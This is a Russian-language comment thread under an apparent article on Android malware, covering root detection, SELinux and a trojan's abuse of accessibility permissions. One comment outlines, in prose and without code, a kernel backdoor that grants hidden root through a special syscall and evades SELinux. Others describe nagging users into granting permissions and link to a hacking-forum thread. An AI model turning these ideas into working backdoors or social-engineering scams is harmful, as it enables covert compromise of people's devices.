                                      Как человек из маркетинга, я сейчас скажу жутко крамольную вещь с т.зрения своей профессии (да, вот такой я Иуда): мое личное мнение, что будущее за smart marketing, который не игнорирует понятие личного пространства, потому что вторжение в это пространство наш мозг воспринимает как акт агрессии и с этим ничего нельзя поделать, т.к. это эволюционно созданный механизм защиты.
                                      Но поскольку маркетинг не существует в виде сферического коня в вакууме, а является инструментом бизнеса, ждать от него «человеческого лица» при сохранении концепции «доля рынка — наше всё» и «оборот следующего года должен превышать оборот текущего» — как минимум наивно.
                                      Вышесказанное усугубляется тем, что мы живем в период изменений, по своей глобальности сравнимых (на мой взгляд) c промышленной революцией 18-19вв. Только в настоящий момент изменения касаются информации, в частности — способов ее распространения и взаимодействия с ней.
                                      Такая долгая подводка к ответу на ваш вопрос: смартфон ваш уже больше не ваш, как и информация, с которой он взаимодействует и с этой концепцией лучше смириться. С концепцией, но не с правилами игры, разумеется. Принятие закона тяготения не подразумевает отказа от парашюта. :-)
                                      Отсюда да — всякие LineageOS, AdBlock'и и прочие VPN'ы: уравновешивание, так сказать, ситуации.
                                      Из плюсов всего этого ужОса — появление новых профессий, бизнес-моделей, возможностей в конце концов. Всё это уже неоднократно человечество проходило… *зевает*
                                  0
                                  Спрятать рут вы не можете никак. Есть такая штука как селинукс контекст. Которая никуда не спрячется. И у рута он свой.


                                  Спрячу аж бегом. Тем более при таких вводных

                                  Можете патчить систему как угодно


                                  Вы не понимаете что такое SELinux. Своей контекст у Magisk (и прочих) только потому что все существующие контексты имеют ограничения. Например «всемогущий» kernel не может ничего записать в logcat.

                                  Но что нам мешает исправить БД правил SELinux? У простых приложений нет прав чтобы прочесть эту БД. О исправлениях они не узнают.

                                  Более того, что мешает вообще отказаться от магисков? Можно пропатчить ядро так, чтобы по «волшебному» действию, например вызвав новый syscall или существующий, типа open со «специальным» именем/флагом, процесс тут же получал права рута, полный набор капсов, и для него переставали работать политики SELinux? При этом на уровне системы будет полный Enforcing. Более того, можно вмешаться в код проверки прав доступа. И фактическим рутом у нас будет вполне себе безобидный юзер.

                                  Обычное приложение никогда об этом не узнает. Максимум что ему доступно — признак анлока аппарата. И то, что вернёт TZ в ответ на Hyp вызовы. Их в ядре не подделать. Но в ядре легко подделать само приложение. И оно даже само себя проверить не сможет. Без поддержки в TZ (мне про такую неизвестно).
                        +1
                        Лайк :) Это Fat Rat. Выложен в открытый доступ на гитхабе около 5 лет назад. Модификаций наделали с тех пор много. Жалко что не догадались зачем он сенсоры слушает. Данные ему не нужны ;) И странно что он у вас в эмуляторе на 28 api заработал. Не должен. Видимо в эмуляторе не все политики работают. Интересная штука была. Социальная инженерия в чистом виде. Люди сами дают ацесабилити когда он 20 раз подряд попросит ;) Наверное поэтому столько лет и жив. От дураков защиты нет.
                          0
                          Люди привыкли нажимать Ок, чтобы уже запустилось что-то.
                          Раньше на таком основывались разводы на симбиан. Нажимаешь Ок — приложение загружается на пару процентов. Человек начинает неистово нажимать эту кнопку и в один из заходов там вылазит подтверждение на отправку СМС.
                          0
                          Я не программист и у меня вопрос сугубо пользовательский — речь идет о каком-то левом APK, модифицированном нехорошими людьми, или Cerberus, скачанный с оф. сайта тоже малварь? Пользуюсь им пару лет (в т.ч. как автоматизатором некоторых действий, раз уж сидит в памяти перманентно) — удобная вещь. После вашей статьи напрягся. :-(
                            0
                            Я так понимаю вы о утилите которая роль сторожа выполняет. Тут речь именно о модификации. Хотя использование подобного софта включает вас в зону риска. Зловреды любят использовать готовый код для работы на устройстве.
                            0
                            Концовку будто другой человек писал?
                            : куча грамматических ошибок появилась резко.
                              0
                              Нагуглил и такой обзор: xss.is/threads/30415

                              Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                              Самое читаемое